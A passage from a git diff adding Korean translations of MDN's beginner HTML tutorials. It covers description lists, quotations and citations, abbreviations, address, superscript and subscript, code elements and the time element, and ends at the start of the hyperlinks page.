+ <dd>In writing, a section of content that is related to the current topic, but doesn't fit directly into the main flow of content so is presented nearby (often in a box off to the side.)</dd>
+ <dt></dt>
+</dl>
+
+<h3 id="추가학습_일련의_정의_표시">추가학습: 일련의 정의 표시</h3>
+
+<p>description list 를 직접 시도해볼 시간입니다. input 필드에 요소들을 추가하여 output 필드에 description list 로 표시되도록 하십시오. 원하시는 경우에 추가적인 요소들을 추가하셔도 좋습니다.</p>
+
+<p>실수를 하셨을 경우에는, <em>Reset </em>버튼을 통해서 재시작하실 수 있습니다. 해답을 찾지 못하셨을 경우에 <em>Show solution</em> 버튼을 통해서 해답을 보실 수 있습니다.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Input&lt;/h2&gt;
+&lt;textarea id="code" class="input"&gt;Bacon
+The glue that binds the world together.
+Eggs
+The glue that binds the cake together.
+Coffee
+The drink that gets the world running in the morning.
+A light brown color.&lt;/textarea&gt;
+&lt;h2&gt;Output&lt;/h2&gt;
+&lt;div class="output"&gt;&lt;/div&gt;
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+  &lt;input id="solution" type="button" value="Show solution" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">body {
+  font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
+}
+
+.input, .output {
+  width: 90%;
+  height: 10em;
+  padding: 10px;
+  border: 1px solid #0095dd;
+  overflow: auto;
+}
+
+button {
+  padding: 10px 10px 10px 0;
+}
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var code = textarea.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+function drawOutput() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+textarea.value = '&lt;dl&gt;\n  &lt;dt&gt;Bacon&lt;/dt&gt;\n  &lt;dd&gt;The glue that binds the world together.&lt;/dd&gt;\n  &lt;dt&gt;Eggs&lt;/dt&gt;\n  &lt;dd&gt;The glue that binds the cake together.&lt;/dd&gt;\n  &lt;dt&gt;Coffee&lt;/dt&gt;\n  &lt;dd&gt;The drink that gets the world running in the morning.&lt;/dd&gt;\n  &lt;dd&gt;A light brown color.&lt;/dd&gt;\n&lt;/dl&gt;';
+  drawOutput();
+});
+
+textarea.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 500) }}</p>
+
+<h2 id="인용구">인용구</h2>
+
+<p>HTML에는 인용구 표시에 사용할 수 있는 요소가 존재합니다. 해당 요소는 블록 또는 인라인 요소인지에 따라서 다르게 표시됩니다.</p>
+
+<h3 id="Blockquotes">Blockquotes</h3>
+
+<p>블록 레벨 컨텐츠의 섹션(문단, 여러 단락, 리스트등)이 인용된 경우, 이를 나타내는 <code>&lt;blockquote&gt;</code>요소로 감싸야합니다. 그리고 <code>cite</code> 속성에 출처를 표기합니다. 아래의 예시는 MDN <code>&lt;blockquote&gt;</code> 요소 페이지를 인용한 것 입니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;The &lt;strong&gt;HTML &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt; Element&lt;/strong&gt; (or &lt;em&gt;HTML Block
+Quotation Element&lt;/em&gt;) indicates that the enclosed text is an extended quotation.&lt;/p&gt;</pre>
+
+<p>이것을 block quote 로 변경하기 위해서 아래와 같이 할 수 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote"&gt;
+  &lt;p&gt;The &lt;strong&gt;HTML &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt; Element&lt;/strong&gt; (or &lt;em&gt;HTML Block
+  Quotation Element&lt;/em&gt;) indicates that the enclosed text is an extended quotation.&lt;/p&gt;
+&lt;/blockquote&gt;</pre>
+
+<p>브라우저 기본 스타일은 인용구를 표현할 때, 들여쓰기 된 단락으로 나타냅니다. MDN은 추가적인 스타일링과 함께 이를 나타냅니다.</p>
+
+<blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
+<p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
+</blockquote>
+
+<h3 id="Inline_quotations">Inline quotations</h3>
+
+<p>인라인 인용구는 <code>&lt;q&gt;</code> 요소를 사용한다는 점만 제외하면 블럭 인용구와 동일하게 동작합니다. 아래의 마크업 예시는 MDN <code>&lt;q&gt;</code> 페이지의 인용문을 포함합니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;The quote element — &lt;code&gt;&amp;lt;q&amp;gt;&lt;/code&gt; — is &lt;q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q"&gt;intended
+for short quotations that don't require paragraph breaks.&lt;/q&gt;&lt;/p&gt;</pre>
+
+<p>브라우저 기본 스타일은 인라인 인용구를 따옴표로 묶은 일반 텍스트로 표현합니다.</p>
+
+<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended for short quotations that don't require paragraph breaks.</q></p>
+
+<h3 id="Citations">Citations</h3>
+
+<p>{{htmlattrxref("cite","blockquote")}}요소의 컨텐츠는 유용하게 보이지만 안타깝게도 브라우저, 스크린 리더 등은 이를 이용해서 할 수 있는 것이 많지 않습니다. 브라우저는  javascript나 CSS로 여러분이 직접 해결책을 제시하지 않는다면 <code>cite</code>  컨텐츠를 화면에 표시할 방법이 없습니다. 페이지에서 인용 출처를 화면에 나타나게 하고 싶다면 <code>&lt;cite&gt;</code> 요소를 사용하는 것이 더 좋습니다. 이는 이름 그대로 출처를 포함하기 위해서 사용됩니다. — <code>&lt;cite&gt;</code> 요소 안에 있는 출처에 대한 링크를 연결할 수 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;According to the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote"&gt;
+&lt;cite&gt;MDN blockquote page&lt;/cite&gt;&lt;/a&gt;:
+&lt;/p&gt;
+
+&lt;blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote"&gt;
+  &lt;p&gt;The &lt;strong&gt;HTML &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt; Element&lt;/strong&gt; (or &lt;em&gt;HTML Block
+  Quotation Element&lt;/em&gt;) indicates that the enclosed text is an extended quotation.&lt;/p&gt;
+&lt;/blockquote&gt;
+
+&lt;p&gt;The quote element — &lt;code&gt;&amp;lt;q&amp;gt;&lt;/code&gt; — is &lt;q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q"&gt;intended
+for short quotations that don't require paragraph breaks.&lt;/q&gt; -- &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q"&gt;
+&lt;cite&gt;MDN q page&lt;/cite&gt;&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<p>Citations are styled in italic font by default. You can see this code at work in our <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/quotations.html">quotations.html</a> example.</p>
+
+<h3 id="추가학습_누가_말했어">추가학습: 누가 말했어?</h3>
+
+<p>다른 실습 과제를 할 시간입니다! 이번 예제에서는 아래 항목을 수행하고자 합니다.</p>
+
+<ol>
+ <li>중간에 위치한 문단을 <code>cite</code> 속성을 지닌 블럭 인용구로 변경하십시오.</li>
+ <li>세 번째 문단의 일부를 <code>cite</code> 속성을 지닌 인라인 인용구로 변경하십시오.</li>
+ <li>각 링크에 &lt;cite&gt; 요소를 포함시키십시오.</li>
+</ol>
+
+<p>적절한 출처를 찾기 위해서 온라인 검색을 이용하십시오.</p>
+
+<p>실수를 하셨을 경우에는, <em>Reset </em>버튼을 통해서 재시작하실 수 있습니다. 해답을 찾지 못하셨을 경우에 <em>Show solution</em> 버튼을 통해서 해답을 보실 수 있습니다.</p>
+
+<div class="hidden">
+<h6 id="Playable_code_2">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Input&lt;/h2&gt;
+&lt;textarea id="code" class="input"&gt;&lt;p&gt;Hello and welcome to my motivation page. As Confucius once said:&lt;/p&gt;
+
+&lt;p&gt;It does not matter how slowly you go as long as you do not stop.&lt;/p&gt;
+
+&lt;p&gt;I also love the concept of positive thinking, and The Need To Eliminate Negative Self Talk
+(as mentioned in Affirmations for Positive Thinking.)&lt;/p&gt;&lt;/textarea&gt;
+&lt;h2&gt;Output&lt;/h2&gt;
+&lt;div class="output"&gt;&lt;/div&gt;
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+  &lt;input id="solution" type="button" value="Show solution" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">body {
+  font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
+}
+
+.input, .output {
+  width: 90%;
+  height: 10em;
+  padding: 10px;
+  border: 1px solid #0095dd;
+  overflow: auto;
+}
+
+button {
+  padding: 10px 10px 10px 0;
+}
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var code = textarea.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+function drawOutput() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+textarea.value = '&lt;p&gt;Hello and welcome to my motivation page. As &lt;a href="http://www.brainyquote.com/quotes/authors/c/confucius.html"&gt;&lt;cite&gt;Confucius&lt;/cite&gt;&lt;/a&gt; once said:&lt;/p&gt;\n\n&lt;blockquote cite="http://www.brainyquote.com/quotes/authors/c/confucius.html"&gt;\n  &lt;p&gt;It does not matter how slowly you go as long as you do not stop.&lt;/p&gt;\n&lt;/blockquote&gt;\n\n&lt;p&gt;I also love the concept of positive thinking, and &lt;q cite="http://www.affirmationsforpositivethinking.com/index.htm"&gt;The Need To Eliminate Negative Self Talk&lt;/q&gt; (as mentioned in &lt;a href="http://www.affirmationsforpositivethinking.com/index.htm"&gt;&lt;cite&gt;Affirmations for Positive Thinking&lt;/cite&gt;&lt;/a&gt;.)&lt;/p&gt;';
+  drawOutput();
+});
+
+textarea.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', 700, 500) }}</p>
+
+<h2 id="약어">약어</h2>
+
+<p>웹을 둘러 볼 때 <code>&lt;abbr&gt;</code> 요소를 꽤 많이 볼 수 있습니다. 이는 머리 글자 또는 약어를 나타내는데 사용됩니다. title 속성을 통해 원래의 용어를 나태날 수 있습니다. 몇가지 예제를 살펴 보겠습니다.</p>
+
+<pre class="notranslate">&lt;p&gt;We use &lt;abbr title="Hypertext Markup Language"&gt;HTML&lt;/abbr&gt; to structure our web documents.&lt;/p&gt;
+
+&lt;p&gt;I think &lt;abbr title="Reverend"&gt;Rev.&lt;/abbr&gt; Green did it in the kitchen with the chainsaw.&lt;/p&gt;</pre>
+
+<p>위의 코드는 아래와 같이 보입니다. 용어의 전체 뜻은 마우스를 올려 놓으면 툴팁에 표시됩니다.</p>
+
+<p>We use <abbr title="Hypertext Markup Language">HTML</abbr> to structure our web documents.</p>
+
+<p>I think <abbr title="Reverend">Rev.</abbr> Green did it in the kitchen with the chainsaw.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 약어를 나타내기 위해 &lt;abbr&gt; 과 동일하게 사용할 수 있는 <code>&lt;acronym&gt;</code> 가 존재합니다. 이는 사용중지 되었으며 브라우저에서도 호환되지 않는 경우가 있습니다. 따라서 <code>&lt;abbr&gt;</code> 을 대신 사용하는 것을 추천드립니다.</p>
+</div>
+
+<h3 id="추가학습_약어_만들기">추가학습: 약어 만들기</h3>
+
+<p>아래의 간단한 실습 과제를 통해 약어 사용에 대한 학습을 하고자 합니다. 아래의 샘플을 그대로 사용하시거나 여러분의 샘플로 교체 하실 수 있습니다. </p>
+
+<div class="hidden">
+<h6 id="Playable_code_3">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Input&lt;/h2&gt;
+&lt;textarea id="code" class="input"&gt;&lt;p&gt;NASA sure does some exciting work.&lt;/p&gt;&lt;/textarea&gt;
+&lt;h2&gt;Output&lt;/h2&gt;
+&lt;div class="output"&gt;&lt;/div&gt;
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+  &lt;input id="solution" type="button" value="Show solution" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">body {
+  font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
+}
+
+.input, .output {
+  width: 90%;
+  height: 5em;
+  padding: 10px;
+  border: 1px solid #0095dd;
+  overflow: auto;
+}
+
+button {
+  padding: 10px 10px 10px 0;
+}
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var code = textarea.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+function drawOutput() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+textarea.value = '&lt;p&gt;&lt;abbr title="National Aeronautics and Space Administration"&gt;NASA&lt;/abbr&gt; sure does some exciting work.&lt;/p&gt;';
+  drawOutput();
+});
+
+textarea.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_3', 700, 350) }}</p>
+
+<h2 id="연락처_세부_사항_표시">연락처 세부 사항 표시</h2>
+
+<p>HTML 에서 <code>&lt;address&gt;</code> 태그를 이용해서 연락처 세부 정보를 표시할 수 있습니다. 이것은 단순히 연락처 정보를 표시하는 것입니다.</p>
+
+<pre class="brush: html notranslate">&lt;address&gt;
+  &lt;p&gt;Chris Mills, Manchester, The Grim North, UK&lt;/p&gt;
+&lt;/address&gt;</pre>
+
+<p>그러나 기억해야 할 것은 &lt;address&gt; 요소는 HTML 문서를 작성한 사람의 연락처 정보를 표시하기 위해서 사용되어야 한다는 것입니다. 따라서 Chris 가 마크 업이 표시된 문서를 작성한 경우에만 위의 예제가 정상입니다. 아래와 같은 예제도 괜찮습니다.</p>
+
+<pre class="brush: html notranslate">&lt;address&gt;
+  &lt;p&gt;Page written by &lt;a href="../authors/chris-mills/"&gt;Chris Mills&lt;/a&gt;.&lt;/p&gt;
+&lt;/address&gt;</pre>
+
+<h2 id="위첨자와_아래_첨자">위첨자와 아래 첨자</h2>
+
+<p>여러분은 종종 날짜, 화학 공식 및 수학 방적식과 같은 항목을 표시 할 때 올바른 의미를 갖도록 위첨자 아래 첨자를 사용해야 할 수도 있습니다. <code>&lt;sup&gt;</code> 과 <code>&lt;sub&gt;</code> 요소들은 이를 위해 사용할 수 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;My birthday is on the 25&lt;sup&gt;th&lt;/sup&gt; of May 2001.&lt;/p&gt;
+&lt;p&gt;Caffeine's chemical formula is C&lt;sub&gt;8&lt;/sub&gt;H&lt;sub&gt;10&lt;/sub&gt;N&lt;sub&gt;4&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;.&lt;/p&gt;
+&lt;p&gt;If x&lt;sup&gt;2&lt;/sup&gt; is 9, x must equal 3 or -3.&lt;/p&gt;</pre>
+
+<p>표시될 결과는 아래와 같습니다.</p>
+
+<p>My birthday is on the 25<sup>th</sup> of May 2001.</p>
+
+<p>Caffeine's chemical formula is C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p>
+
+<p>If x<sup>2</sup> is 9, x must equal 3 or -3.</p>
+
+<h2 id="컴퓨터_코드를_나타내기">컴퓨터 코드를 나타내기</h2>
+
+<p>HTML 을 이용해 컴퓨터 코드를 나타낼 때 아래와 같은 많은 요소들을 사용할 수 있습니다.</p>
+
+<ul>
+ <li>{{htmlelement("code")}}: 일반적인 컴퓨터 코드를 표시합니다.</li>
+ <li>{{htmlelement("pre")}}: 공백(일반적으로 코드 블록)을 유지하기 위해 사용합니다. 택스트 내에서 들여 쓰기 또는 초과 공백을 사용하면 브라우저가 이를 무시하고 렌더링 된 페이지에 공백을 표시하지 않습니다. 그러나 <code>&lt;pre&gt;&lt;/pre&gt;</code> 태그로 텍스트를 감싸면 공백이 텍스트 편집기에서 보는 것과 동일하게 렌더링 됩니다.</li>
+ <li>{{htmlelement("var")}}: 변수이름을 특별하게 표시합니다.</li>
+ <li>{{htmlelement("kbd")}}: 컴퓨터에 입력 된 키보드 (및 기타 유형) 입력을 표시합니다.</li>
+ <li>{{htmlelement("samp")}}: 컴퓨터 프로그램의 출력을 표시합니다.</li>
+</ul>
+
+<p>몇 가지 예를 살펴 보겠습니다. 이 예제들을 통해서 자유롭게 학습해보십시오. (다른 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/other-semantics.html">other-semantics.html</a> 샘플 파일의 사본을 사용하실 수 있습니다).</p>
+
+<pre class="brush: html notranslate">&lt;pre&gt;&lt;code&gt;var para = document.querySelector('p');
+
+para.onclick = function() {
+  alert('Owww, stop poking me!');
+}&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;You shouldn't use presentational elements like &lt;code&gt;&amp;lt;font&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;center&amp;gt;&lt;/code&gt;.&lt;/p&gt;
+
+&lt;p&gt;In the above JavaScript example, &lt;var&gt;para&lt;/var&gt; represents a paragraph element.&lt;/p&gt;
+
+
+&lt;p&gt;Select all the text with &lt;kbd&gt;Ctrl&lt;/kbd&gt;/&lt;kbd&gt;Cmd&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;
+
+&lt;pre&gt;$ &lt;kbd&gt;ping mozilla.org&lt;/kbd&gt;
+&lt;samp&gt;PING mozilla.org (63.245.215.20): 56 data bytes
+64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms&lt;/samp&gt;&lt;/pre&gt;</pre>
+
+<p>위의 코드는 아래와 같이 표시됩니다.</p>
+
+<p>{{ EmbedLiveSample('Representing_computer_code','100%',300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="시간과_날짜_표시">시간과 날짜 표시</h2>
+
+<p>HTML 은 기계가 읽을 수 있는 형식(machine-readable)으로 시간과 날짜를 표시하기 위한 <code>&lt;time&gt;</code> 요소를 제공합니다. 예를 들면 아래와 같습니다.</p>
+
+<pre class="brush: html notranslate">&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20<span class="pl-pds">"</span></span>&gt;20 January 2016&lt;/<span class="pl-ent">time</span>&gt;</pre>
+
+<p>이것이 왜 유용할까요? 인간이 날짜를 기록하는 방법에는 여러 가지가 있습니다. 위 날짜는 아래와 같이 나타낼 수 있습니다.</p>
+
+<ul>
+ <li>20 January 2016</li>
+ <li>20th January 2016</li>
+ <li>Jan 20 2016</li>
+ <li>20/06/16</li>
+ <li>06/20/16</li>
+ <li>The 20th of next month</li>
+ <li><span lang="fr">20e Janvier 2016</span></li>
+ <li><span lang="ja">2016年1月20日</span></li>
+ <li>And so on</li>
+</ul>
+
+<p>그러나 이러한 다른 형식들은 컴퓨터가 쉽게 인식할 수 없습니다. 페이지의 모든 이벤트 날짜를 자동으로 인식하여 캘린더에 삽입하려면 어떻게 해야합니까? <code>&lt;time&gt;</code> 요소를 사용하면 기계가 읽을 수 있는 명확한 시간 / 날짜를 첨부 할 수 있습니다.</p>
+
+<p>아래의 기본 예지는 간단한 기계 판독 가능 날짜를 제공하지만 사용 가능한 다른 많은 옵션들이 존재합니다.</p>
+
+<pre class="brush: html notranslate">&lt;!-- Standard simple date --&gt;
+&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20<span class="pl-pds">"</span></span>&gt;20 January 2016&lt;/<span class="pl-ent">time</span>&gt;
+&lt;!-- Just year and month --&gt;
+&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01<span class="pl-pds">"</span></span>&gt;January 2016&lt;/<span class="pl-ent">time</span>&gt;
+&lt;!-- Just month and day --&gt;
+&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>01-20<span class="pl-pds">"</span></span>&gt;20 January&lt;/<span class="pl-ent">time</span>&gt;
+&lt;!-- Just time, hours and minutes --&gt;
+&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>19:30<span class="pl-pds">"</span></span>&gt;19:30&lt;/<span class="pl-ent">time</span>&gt;
+&lt;!-- You can do seconds and milliseconds too! --&gt;
+&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span></span>19:30:01.856<span class="pl-s"><span class="pl-pds">"</span></span>&gt;19:30:01.856&lt;/<span class="pl-ent">time</span>&gt;
+&lt;!-- Date and time --&gt;
+&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20T19:30<span class="pl-pds">"</span></span>&gt;7.30pm, 20 January 2016&lt;/<span class="pl-ent">time</span>&gt;
+&lt;!-- Date and time with timezone offset--&gt;
+&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20T19:30<span class="pl-pds">+01:00"</span></span>&gt;7.30pm, 20 January 2016 is 8.30pm in France&lt;/<span class="pl-ent">time</span>&gt;
+&lt;!-- Calling out a specific week number--&gt;
+&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-W04<span class="pl-pds">"</span></span>&gt;The fourth week of 2016&lt;/<span class="pl-ent">time</span>&gt;</pre>
+
+<h2 id="요약">요약</h2>
+
+<p>HTML 텍스트 시맨틱에 대한 스터디가 끝났습니다. 이 과정에서 학습한 내용이 HTML 텍스트 요소의 전부가 아님을 명심하십시오. 우리는 필수 요소를 위주로 다루고 싶었고, 여러분이 일반적인 상황에서 보거나 적어도 흥미롭게 다가올 수 있는 더 일반적인 것들 중 일부를 다루려고 했습니다. 더 많은 HTML 요소를 찾으려면 <a href="/en-US/docs/Web/HTML/Element">HTML element reference</a> 를 살펴보십시오.(<a href="/en-US/docs/Web/HTML/Element#Inline_text_semantics">Inline text semantics</a> 섹션은 시작하기에 좋은 장소입니다.). 다음 문서에서는 HTML 문서의 다른 부분을 구성하는 데 사용할 HTML 요소를 살펴 보겠습니다.</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li>
+</ul>
diff --git a/files/ko/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/ko/learn/html/introduction_to_html/creating_hyperlinks/index.html
new file mode 100644
index 0000000000..73619df1cf
--- /dev/null
+++ b/files/ko/learn/html/introduction_to_html/creating_hyperlinks/index.html
@@ -0,0 +1,338 @@
+---
+title: 하이퍼링크 만들기
+slug: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks
+tags:
+  - a태그
+  - 웹하이퍼링크
+  - 하이퍼링크
+translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">하이퍼 링크는 중요하다. — 웹을 웹답게 만들기 때문이다. 이 글에서는 링크를 만드는데 필요한 구문을 보여주고 링크의 모범 사례를 설명한다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">미리 알아두면 좋은 지식들:</th>
+   <td>기본적인 HTML 에 대한 친숙함, as covered in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a>. HTML text formatting, as covered in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>
+    <p>하이퍼링크를 효과적으로 다루는 방법과 수많은 파일들을 함께 연결하는 방법을 배웁니다.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="하이퍼링크란_무엇인가">하이퍼링크란 무엇인가?</h2>
+
+<p>하이퍼링크는 웹이 제공하는 가장 흥미로운 혁신 중 하나입니다, 하이퍼링크는 웹이 시작된 이래 웹의 특성이었습니다. 그러나 하이퍼링크는 웹을 웹 다워보이도록 만들어줍니다. — 문서들을 다른 문서들과 연결시켜 주기도 하구요. 또는 우리가 원하는 다른 resource 들과 연결해주기도 합니다. 우리는 또한 문서들의 특정 부분들끼리 연결할 수 있죠.그리고 우리는 앱들을 단순한 웹 주소를 통해 이용하게 만들 수도 있습니다. (설치 혹은 여러가지 작업들을 필요로 하는 native 앱과 비교해보세요.) 거의 모든 web content 들은 링크로 바뀔 수 있는데요. 우리가 그것들을 클릭하거나 활성화시키면 웹 브라우저가 다른 웹 주소({{glossary("URL")}})로 갑니다. </p>
+
+<div class="note">
+<p><strong>메모</strong>:  URL은 HTML 파일, 텍스트 파일, 이미지, 텍스트 문서들, 비디오와 오디오 파일들, 그리고 웹상에서 존재할 수 있는 어느 것이라 할지라도 연결할 수 있다.만약 웹 브라우저가 어떻게 파일을 보여주거나 다룰지 모른다면, 웹 브라우저는 당신이 파일을 열기를 원하는지 (만약 그렇다면, 파일을 열거나 처리하는 것에 대한 의무는 device에서 적절한 native 앱에게 넘겨질 겁니다.) 혹은 파일을 다운로드 하기를 원하는지 (만약 그렇다면, 당신은 그것을 나중에 다룰 수 있습니다.) 궁금해 할 것입니다.</p>
+</div>
+
+<p>예를 들면, BBC 홈페이지엔 많은 링크들이 있는데요. 그것들은 수많은 뉴스들 뿐만 아니라 다른 웹사이트들 (navigation functionality), 로그인/등록 페이지들 (user tools) 그리고 더 많은 다른 곳에도 연결되어 있습니다.</p>
+
+<p><img alt="frontpage of bbc.co.uk, showing many news items, and navigation menu functionality" src="https://mdn.mozillademos.org/files/12405/bbc-homepage.png" style="display: block; margin: 0 auto;"></p>
+
+<h2 id="링크의_구조">링크의 구조</h2>
+
+<p>A basic link is created by wrapping the text (or other content, see {{anch("Block level links")}}) you want to turn into a link inside an {{htmlelement("a")}} element, and giving it an {{htmlattrxref("href", "a")}} 속성은 (also known as a <strong>target</strong>) 사이트의 주소가 포함된 링크를 당신에게 줍니다.</p>
+
+<pre class="brush: html">&lt;p&gt;I'm creating a link to
+&lt;a href="https://www.mozilla.org/en-US/"&gt;the Mozilla homepage&lt;/a&gt;.
+&lt;/p&gt;</pre>
+
+<p>위 코드의 결과는 다음과 같습니다:</p>
+
+<p>나는 링크를 만들었다. <a class="ignore-external" href="https://www.mozilla.org/en-US/">the Mozilla homepage</a>. </p>
+
+<h3 id="title_속성에_부가적인_정보를_더하기">title 속성에 부가적인 정보를 더하기</h3>
+
+<p><code>title</code>;  속성은 해당 페이지에 어떤 종류의 정보가 포함되어 있는지 또는 알아야할 사항과 같은 링크에 대한 보충할만한 유용한 정보를 포함하기 위한 것을 나타낼때 사용한다.</p>
+
+<p>예제 코드 :</p>
+
+<pre class="brush: html">&lt;p&gt;I'm creating a link to
+&lt;a href="https://www.mozilla.org/en-US/"
+   title="The best place to find more information about Mozilla's
+          mission and how to contribute"&gt;the Mozilla homepage&lt;/a&gt;.
+&lt;/p&gt;</pre>
+
+<p>이것은 그리고 마우스를 오버했을때에 툴팁에 대한 기능도 제공해줄 수 있다.</p>
+
+<p>제가 만든 링크 입니다. <a class="ignore-external" href="https://www.mozilla.org/en-US/" title="The best place to find more information about Mozilla's mission and how to contribute">the Mozilla homepage</a>.</p>
+
+<div class="note">
